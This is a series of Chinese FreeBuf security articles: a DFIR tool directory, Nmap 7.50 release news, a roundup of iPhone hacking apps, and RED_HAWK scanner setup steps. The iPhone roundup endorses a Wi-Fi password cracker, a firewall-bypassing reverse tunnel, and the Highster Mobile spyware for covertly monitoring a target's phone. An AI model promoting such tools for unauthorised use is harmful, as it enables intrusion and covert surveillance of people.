Open Computer Forensics Architecture – Open Computer Forensics Architecture (OCFA) 是另一个分布式开源计算机取证框架,这个框架建立在 Linux 平台上,并使用 postgreSQL 数据库来存储数据

Osquery – osquery 可以找到 Linux 与 OSX 基础设施的问题,无论你是要入侵检测还是基础架构可靠性检查 osquery 都能够帮助你提高公司内部的安全组织能力, incident-response pack 可以帮助你进行检测/响应活动

Redline – 为用户提供主机调查工具,通过内存与文件分析来找到恶意行为的活动迹象,包括对威胁评估配置文件的开发

The Sleuth Kit & Autopsy – Sleuth Kit 是基于 Unix 和 Windows 的工具,可以帮助计算机取证分析,其中包含各种协助取证的工具,比如分析磁盘镜像、文件系统深度分析等

TheHive – TheHive 是一个可扩展的三个一开源解决方案,旨在让 SOC、CSIRT、CERT 或其他任何信息安全从业人员方便的进行安全事件调查

X-Ways Forensics – X-Ways 是一个用于磁盘克隆、镜像的工具,可以查找已经删除的文件并进行磁盘分析

Zentral – 与 osquery 强大的端点清单保护能力相结合,通知与行动都灵活的框架,可以快速对 OS X 与 Linux 客户机上的更改做出识别与响应

书籍

Dfir intro – 作者:Scott J. Roberts

The Practice of Network Security Monitoring: Understanding Incident Detection and Response – 作者:Richard Bejtlich

社区

Sans DFIR mailing list – Mailing list by SANS for DFIR

Slack DFIR channel – Slack DFIR Communitiy channel – Signup here

磁盘镜像创建工具

AccessData FTK Imager – AccessData FTK Imager 是一个从任何类型的磁盘中预览可恢复数据的取证工具,FTK Imager 可以在 32/64 位系统上实时采集内存与页面文件

GetData Forensic Imager – GetData Forensic Imager 是一个基于 Windows 程序,将常见的文件格式进行获取/转换/验证取证

Guymager – Guymager 是一个用于 Linux 上媒体采集的免费镜像取证器

Magnet ACQUIRE – Magnet Forensics 开发的 ACQUIRE 可以在不同类型的磁盘上执行取证,包括 Windows/Linux/OS X 与移动操作系统

证据收集

bulk_extractor – bulk_extractor 是一个计算机取证工具,可以扫描磁盘映像、文件、文件目录,并在不解析文件系统或文件系统结构的情况下提取有用的信息,由于其忽略了文件系统结构,程序在速度和深入程度上都有了很大的提高

Cold Disk Quick Response – 使用精简的解析器列表来快速分析取证镜像文件(dd, E01, .vmdk, etc)并输出报告

ir-rescue – ir-rescue 是一个 Windows 批处理脚本与一个 Unix Bash 脚本,用于在事件响应期在主机全面收集证据

Live Response Collection – BriMor 开发的 Live Response collection 是一个用于从各种操作系统中收集易失性数据的自动化工具

应急管理

FIR – Fast Incident Response (FIR) 是一个网络安全应急管理平台,在设计时考虑了敏捷性与速度。其可以轻松创建、跟踪、报告网络安全应急事件并用于 CSIRT、CERT 与 SOC 等人员

RTIR – Request Tracker for Incident Response (RTIR) 对于安全团队来说是首要的开源应急处理系统,其与世界各地的十多个 CERT 与 CSIRT 合作,帮助处理不断增加的事件报告,RTIR 包含 Request Tracker 的全部功能

SCOT – Sandia Cyber Omni Tracker (SCOT) 是一个应急响应协作与知识获取工具,为事件响应的过程在不给用户带来负担的情况下增加价值

threat_note – 一个轻量级的调查笔记,允许安全研究人员注册、检索他们需要的 IOC 数据

Linux 发行版

ADIA – Appliance for Digital Investigation and Analysis (ADIA) 是一个基于 VMware 的应用程序,用于进行数字取证.其完全由公开软件构建,包含的工具有 Autopsy/Sleuth Kit/Digital Forensics Framework/log2timeline/Xplico/Wireshark 大多数系统维护使用 Webmin.可在各种系统下进行使用

CAINE – Computer Aided Investigative Environment (CAINE) 包含许多帮助调查人员进行分析的工具,包括取证工具

DEFT – Digital Evidence & Forensics Toolkit (DEFT) 是一个用于计算机取证的 Linux 发行版,它与 Windows 上的 Digital Advanced Response Toolkit (DART) 捆绑在一起.DEFT 的轻量版被成为 DEFT Zero

NST – Network Security Toolkit – 包括大量的优秀开源网络安全应用程序的 Linux 发行版

PALADIN – PALADIN 是一个附带许多开源取证工具的改 Linux 发行版,用于在法庭上以正确的方式执行取证任务

Security Onion – Security Onion 是一个特殊的 Linux 发行版,旨在利用高级的分析工具进行网络安全监控

SIFT Workstation – SANS Investigative Forensic Toolkit (SIFT) 使用优秀开源工具以实现高级事件响应与入侵深度数字取证,这些功能免费提供,并且经常更新

Linux 证据收集

FastIR Collector Linux – FastIR 在 Linux 系统上收集不同的信息并将结果存入 CSV 文件

日志分析工具

Lorg – 一个用 HTTPD 日志进行高级安全分析与取证的工具

内存分析工具

Evolve – Volatility 内存取证框架的 Web 界面

inVtero.net – 支持 hypervisor 的 Windows x64 高级内存分析

KnTList – 计算机内存分析工具

LiME – LiME 是 Loadable Kernel Module (LKM),可以从 Linux 以及基于 Linux 的设备采集易失性内存数据

Memoryze – 由 Mandiant 开发的 Memoryze 是一个免费的内存取证软件,可以帮助应急响应人员在内存中定位恶意部位, Memoryze 也可以分析内存镜像或者装成带有许多分析插件的系统

Memoryze for Mac – Memoryze for Mac 是 Memoryze 但仅限于 Mac,且功能较少

Rekall – 用于从 RAM 中提取样本的开源工具

Responder PRO – Responder PRO 是一个工业级的物理内存及自动化恶意软件分析解决方案

Volatility – 高级内存取证框架

VolatilityBot – VolatilityBot 是一个自动化工具,帮助研究员减少在二进制程序提取解析阶段的手动任务,或者帮助研究人员进行内存分析调查的第一步

WindowsSCOPE – 一个用来分析易失性内存的取证与逆向工程工具,被用于对恶意软件进行逆向分析,提供了分析 Windows 内核/驱动程序/DLL/虚拟与物理内存的功能

内存镜像工具

Belkasoft Live RAM Capturer – 轻量级取证工具,即使有反调试/反转储的系统保护下也可以方便地提取全部易失性内存的内容

Linux Memory Grabber – 用于 dump Linux 内存并创建 Volatility 配置文件的脚本

Magnet RAM Capture – Magnet RAM Capture 是一个免费的镜像工具,可以捕获可疑计算机中的物理内存,支持最新版的 Windows

OSForensics – OSForensics 可以获取 32/64 位系统的实时内存,可以将每个独立进程的内存空间 dump 下来

OSX 证据收集

Knockknock – 显示那些在 OSX 上被设置为自动执行的那些脚本、命令、程序等

OSX Auditor – OSX Auditor 是一个面向 Mac OS X 的免费计算机取证工具

OSX Collector – OSX Auditor 的实时响应版

其他工具

Cortex – Cortex 可以通过 Web 界面逐个或批量对 IP 地址/邮件地址/URL/域名/文件哈希的分析,还可以使用 REST API 来自动执行这些操作

Crits – 一个将分析引擎与网络威胁数据库相结合且带有 Web 界面的工具

Fenrir – Fenrir 是一个简单的 IOC 扫描器,可以在纯 bash 中扫描任意 Linux/Unix/OSX 系统,由 THOR 与 LOKI 的开发者创作

Fileintel – 为每个文件哈希值提供情报

Hindsight – Google Chrome/Chromium 的互联网

Hostintel – 为每个主机提供情报

Kansa – Kansa 是一个 PowerShell 的模块化应急响应框架

rastrea2r – 使用 YARA 在 Windows、Linux 与 OS X 上扫描硬盘或内存

RaQet – RaQet 是一个非常规的远程采集与分类工具,允许对那些为取证构建的操作系统进行远端计算机的遴选

Stalk – 收集关于 MySQL 的取证数据

SearchGiant – 从云服务中获取取证数据的命令行程序

Stenographer – Stenographer 是一个数据包捕获解决方案,旨在快速将全部数据包转储到磁盘中,然后提供对这些数据包的快速访问.它存储尽可能多的历史记录并且管理磁盘的使用情况,在磁盘受限被触发时执行既定策略,非常适合在事件发生前与发生中捕获流量,而不是显式存储所有流量

traceroute-circl – 由 Computer Emergency Responce Center Luxembourg 开发的 traceroute-circl 是一个增强型的 traceroute 来帮助 CSIRT/CERT 的工作人员,通常 CSIRT 团队必须根据收到的 IP 地址处理事件

X-Ray 2.0 – 一个用来向反病毒厂商提供样本的 Windows 实用工具(几乎不再维护)

Playbooks

Demisto Playbooks Collection – Playbook 收集

IR Workflow Gallery – 不同的通用事件响应工作流程,例如恶意软件爆发/数据窃取/未经授权的访问等,每个工作流程都有七个步骤:准备/检测/分析/遏制/根除/恢复/事后处理

PagerDuty Incident Response Documentation – 描述 PagerDuty 应急响应过程的文档,不仅提供了关于事件准备的信息,还提供了在此前与之后要做什么工作,源在 GitHub 上

进程 Dump 工具

Microsoft User Mode Process Dumper – 用户模式下的进程 dump 工具,可以 dump 任意正在运行的 Win32 进程内存映像

PMDump – PMDump 是一个可以在不停止进程的情况下将进程的内存内容 dump 到文件中的工具

沙盒/逆向工具

Cuckoo – 开源沙盒工具

Cuckoo-modified – 社区基于 Cuckoo 的大修版

Cuckoo-modified-api – 一个用来控制 Cuckoo 沙盒设置的 Python 库

Hybrid-Analysis – Hybrid-Analysis 是一个由 Payload Security 提供的免费在线沙盒

Malwr – Malwr 是由 Cuckoo 沙盒提供支持的一个免费在线恶意软件分析服务

Mastiff – MASTIFF 是一个静态分析框架,可以自动化的从多种文件格式中提取关键特征

Viper – Viper 是一个基于 Python 的二进制程序分析及管理框架,支持 Cuckoo 与 YARA

Virustotal – Virustotal, Google 的子公司,一个免费在线分析文件/URL的厂商,可以分析病毒/蠕虫/木马以及其他类型被反病毒引擎或网站扫描器识别的恶意内容

Visualize_Logs – Cuckoo、Procmon等日志的开源可视化库

时间线工具

Highlighter – Fire/Mandiant 开发的免费工具,用来分析日志/文本文件,可以对某些关键字或短语进行高亮显示,有助于时间线的整理

Plaso – 一个基于 Python 用于 log2timeline 的后端引擎

Timesketch – 协作取证时间线分析的开源工具

视频

Demisto IR video resources – 应急响应与取证分析的视频资源

The Future of Incident Response – Bruce Schneier 在 OWASP AppSecUSA 2015 上的分享

Windows 证据收集

AChoir – Achoir 是一个将对 Windows 的实时采集工具脚本化变得更标准与简单的框架

Binaryforay – 一个 Windows 取证的免费工具列表 (http://binaryforay.blogspot.co.il/)

Crowd Response – 由 CrowdStrike 开发的 Crowd Response 是一个轻量级 Windows 终端应用,旨在收集用于应急响应与安全操作的系统信息,其包含许多模块与输出格式

FastIR Collector – FastIR Collector 在 Windows 系统中实时收集各种信息并将结果记录在 CSV 文件中,通过对这些信息的分析,我们可以发现早期的入侵痕迹

FECT – Fast Evidence Collector Toolkit (FECT) 是一个轻量级的应急响应工具集,用于在可疑的 Windows 计算机上取证,它可以让非技术调查人员更专业的进行应急处理

Fibratus – 利用与跟踪 Windows 内核的工具

IOC Finder – IOC Finder 是由 Mandiant 开发的免费工具,用来收集主机数据并报告存在危险的 IOC

Fidelis ThreatScanner – Fidelis ThreatScanner 是一个由 Fidelis Cybersecurity 开发的免费工具,使用 OpenIOC 和 YARA 来报告终端设备的安全状态,ThreatScanner 衡量系统的运行状态后会出具匹配情况的报告,仅限 Windows

LOKI – Loki 是一个使用 YARA 与其他 IOC 对终端进行扫描的免费 IR 扫描器

PowerForensics – PowerShell 开发的实时硬盘取证框架

PSRecon – PSRecon 使用 PowerShell 在远程 Windows 主机上提取/整理数据,并将数据发送到安全团队,数据可以通过邮件来传送数据或者在本地留存

RegRipper – Regripper 是用 Perl 编写的开源工具,可以从注册表中提取/解析数据(键/值/数据)提供分析

TRIAGE-IR – Triage-IR 是一个 Windows 下的 IR 收集工具

参考资料

1. https://github.com/sindresorhus/awesome

2. http://www.freebuf.com/tools/87400.html

*本文原创作者:Shun,本文属FreeBuf原创奖励计划,未经许可禁止转载

Nmap 7.50更新:自去年12月来的重大更新

Network Mapper 近日发布了最新更新 Nmap  7.50 ,上一次的更新还需要追溯到2016年12月,而此次的版本上对于对于数百项功能进行了改进。

Nmap 7.50更新:自去年12月来的重大更新

Nmap 7.50 的此次更新包括了 Windows 下的 Npcap 数据捕获驱动程序和库,而 WinPcap 则不再继续维护。 Npcap 是一组全新的API,不仅在性能上有所提升,还能保证与大多数流行操作系统(包括Windows 10)的软件兼容性。

在新版本中,此次更新增添了对于环回数据包的捕获、注入以及无线嗅探的功能。

它可以作为 WinPcap 的替代,WinPcap已经用了很多年了,我们不再继续维护了。而 Npcap使用了全新的 API 来提高性能和兼容性,增加了对 Windows 10的支持。我们还添加了环回数据包捕获和注入,针对beacon帧等等的无线嗅探,也增加了额外的安全功能如需要管理员的授权访问。

——Seclists.org

新版本包括300多个新的服务检测摘要和许多其他改进点。现在的Network mapper 可以在ApacheMQ,bro,和clickhouse到 jmon, SLMP, 以及 zookeeper中检测1193 种协议。

全新的脚本引擎

Nmap 7.50还改进了Nmap脚本引擎,维护者发布了一个针对 MS17-010(Wannacry 及Sambacry CVE 2017-7494可利用此漏洞)的检测脚本。

包含以下脚本:

  • broadcast-ospf2-discover
  • cics-info
  • cics-user-brute
  • http-cookie-flags
  • http-security-headers
  • http-vuln-cve2017-5638
  • http-vuln-cve2017-5689
  • http-vuln-cve2017-1001000
  • impress-remote-discover
  • smb-double-pulsar-backdoor
  • smb-vuln-cve-2017-7494
  • smb-vuln-ms17-010
  • tls-ticketbleed
  • vmware-version

下载地址

一些新的针对Apache HBase及Hadoop MapReduce的探查也在此次更新中有所涉及,可以在此查看完整列表。

读者可以从这里下载适用于Linux,Windows和Mac的Nmap 7.50源代码和二进制包。

*参考来源:securityaffairs,Elaine编译,转载请注明FreeBuf.COM

2017年最佳iPhone渗透APP及工具

2017年最佳iPhone渗透APP及工具

与Android不同,搜索和查找iPhone的黑客工具及应用是一项艰巨的任务。这与ios系统及其强大的安全性不无关系。由于许多黑客工具,必须要以‘root’的权限才能正常运行,而iPhone的越狱却是件让人头疼的事情。在加上iOS平台无法通过App Store分享黑客相关的应用,难度可想而知。

那么iPhone上真的就无法使用任何黑客应用了吗?当然不是啦!下面,我就为大家隆重推荐几款iPhone下最佳的黑客应用及工具。

Cydia是什么?以及我们为什么要使用它?

如果你是一个追求应用自由的iOS用户,那么你肯定听说过Cydia。这是iPhone,iPad和iPod Touch的另一款App Store。它提供了许多App Store无法使用,以及因违反使用条款而被拒绝的应用程序。

每当你进行越狱的时候 – 常常会出现安装Cydia的选项。此外,它也可以通过Installer.app/AppTap单独安装。使用Cydia,你可以安装许多应用程序和工具,包括本文将提到的应用程序和工具。所以在某种程度上来讲,想要使用这些iPhone黑客应用和逆向工程工具,你需要一个已越狱的iPhone设备作为先决条件。好了说了这么多,下面让我们正式开始介绍它们:

免责声明:本文提及的iOS应用和工具,只用于研究学习目的。道德黑客和开发人员,可以使用这些工具来保护其应用程序和服务的安全性。

1. iRET – iOS逆向工程工具包

渗透测试人员在某些时候,常常需要对一些特定的任务进行反复的测试,才能取得成功并提高效率。但这对于测试人员而言,是件非常低效率的事。为了解决这个问题,研究人员Veracode开发出了iRET这款工具。这是一款iOS逆向工程的工具箱,主要用于自动化执行与iOS渗透测试相关的大量通用任务以及静态分析。此外想要成功安装它,还需要在你的设备上安装python环境。

 iRET GitHub链接

2. netKillUIbeta

NetKillUIbeta这款应用,类似于Android下的WiFiKill。其主要作用是帮助宽带用户将蹭网者进行屏蔽。想要安装此工具,你可以将此repo http://extigy.github.io/repo/添加到Cydia,并安装netKillUIbeta及其依赖关系。值得一提的是如果你恶意使用该工具,你的MAC地址是可以被追踪到的。

— netKillUIbeta Cydia链接

3. iWep Pro

iWep Pro是一款无线路由器破解软件,主要用以破解以WEP加密协议加密的无线WiFi网络密码。当然除此之外它还支持WPA的密码破解,同时还可以对目标路由器进行漏洞检测。而至于密码的破解速度及成功率,则要取决于目标设备的密码强度而决定了。

 — iWep Pro

4. Myriam iOS Security App

Myriam是由安全研究人员和GitHub用户GeoSn0w共同开发的。他将其描述为是iOS黑客初学者,最想拥有的应用程序。它包含各种已知的和可被利用的漏洞。同时使用者可以很轻松的使用该应用,完成对应用内的数据修改,应用激活绕过和越狱检测以及UIKit等操作。

— Myriam GitHub链接

5. Burp

Burp想必大家再熟悉不过了,它的功能非常的强大。例如HTTP包代理截断,web扫描,fuzz测试等。在iOS平台我们也可以安装一个手机版的Burp,它可以为我们测试设备及应用程序的安全性,对应用流量进行分析。需要提醒的是想要成功侦听网络流量,Burp Proxy的配置不能忘。

 iOS Burp

6. iSpy

BishopFox的iSpy iPhone逆向工程应用,可以做为iOS应用程序动态分析的一站式解决方案。易于使用的Web GUI可用于类转储,实例跟踪,越狱检测绕过,SSL证书绕过等。

— iSpy GitHub链接

7. Hopper App

Hopper Disassembler是一款逆向工程工具,iOS爱好者可以使用它来进行反汇编,反编译和调试应用程序。此工具也可用于修改和重组代码。你只需在你的macOS或Linux系统上启动该应用,然后将其指向你需要破解的二进制文件即可。总的来说Hopper是一款非常好用的逆向工程工具,对于热衷于iOS漏洞赏金的人而言,无疑它将成为一个首选。

 iOS Hopper

8. Cycript

Cycript是一款实用的动态分析工具,可用于分析在iPhone,iPad或其他iDevices上运行的应用程序。同时Cycript也是一个JavaScript解释器,此外它还可以理解Objective-C语言。 在对iOS运行应用的动态分析时,我们可以随时在需要的地方设置断点。在动态分析方面,Cycpi已被证明是非常有效的。

— Cycript

9. Paraben DS

Paraben DS是一款用于移动设备的调查取证的工具。你可以在计算机上安装此应用程序,启动其GUI,并连接Apple iPhone和iTouch设备。其主要功能包括数据采集,逻辑和物理镜像,应用程序数据解析,密码绕过,恶意软件检测和数据雕刻等。

— Paraben DS

10. Frida

Frida是一款基于python + javascript 的hook与调试框架,通杀android/ios/linux/win/osx等各平台。它支持将V8 JavaScript脚本引擎,注入到正在运行的进程当中。它支持两种操作模式 – 越狱和非越狱。如果是越狱设备,Frida还可以实现对系统服务和应用程序的轻松控制。

— iOS Frida 

11. Firecat

Firecat是一款可以安装并用于,从被劫持的网络中建立TCP反向隧道的工具。当你为iPhone建立隧道后,即使网络中使用了严格的防火墙策略或NAT网关,你也可以通过外部的主机连接到该网络中的任意端口。

— Firecat

12. Highster Mobile

Highster Mobile是一款间谍监控程序。一旦手机成功安装上它,它就会以完整的检测方式秘密的监控你的手机活动。使用该应用程序,你可以对目标设备进行远程控制,监视其桌面活动,甚至可以随时卸载掉目标设备的应用程序等。

 Highster Mobile

*参考来源:fossbytes,FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)

RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具

今天给大家介绍的这款工具名叫RED HAWK(红鹰??),这是一款采用PHP语言开发的多合一型渗透测试工具,它可以帮助我们完成信息采集、SQL漏洞扫描和资源爬取等任务。

RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具

RED HAWK

最新版本:v1.0.0【2017年6月11日】

下载地址:【GitHub传送门

RED HAWK的功能

1.   服务器检测

2.   Cloudflare检测

3.   网站robots扫描

4.   CMS检测:

a)    WordPres

b)    Joomla

c)   Drupal

d)   Magento

5.   Whois查询

6.   GEO-IP扫描

7.   NMAP端口扫描

8.   子网计算

9.   子域名搜索

10.   逆向IP扫描:

a)   检测同一台服务器上的其他CMS 站点

11.    参数查询:

a)   基于错误信息的SQLi检测器

12.   网络爬虫

a)   基本爬虫{69}

i.   管理员扫描

ii.   备份文件搜索

iii.   混合爬取

b)   高级爬虫{420}

i.   管理员搜索

ii.   备份文件搜索

iii.   混合爬取

修改日志

版本v1.0.0:项目刚刚上线GitHub,工具首发,感兴趣的朋友可以贡献自己的代码,让RED HAWK的功能变得越来越强大!

工具安装和使用

在命令行工具中通过git将项目克隆到本地:

git clone https://github.com/Tuhinshubhra/RED_HAWK

切换到本地项目目录:

cd RED_HAWK

然后打开根目录下的rhawk.php:

php rhawk.php

运行工具,然后输入“fix”,工具会自动安装所有的依赖组建以及功能模块。

接下来,你还可以使用“help”命令来查看命令列表,或者你也可以直接输入你想要扫描的域名(不需要输入Http://或Https://)。

然后根据提示选择目标网站是否使用了HTTPS,剩下的工作就交给RED HAWK去完成吧!

后话

该项目刚刚上线GitHub,希望社区大神有空的时候能够贡献自己的一份力量,让社区多一款可供白帽子使用的渗透测试工具。

* 参考来源:Tuhinshubhra, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM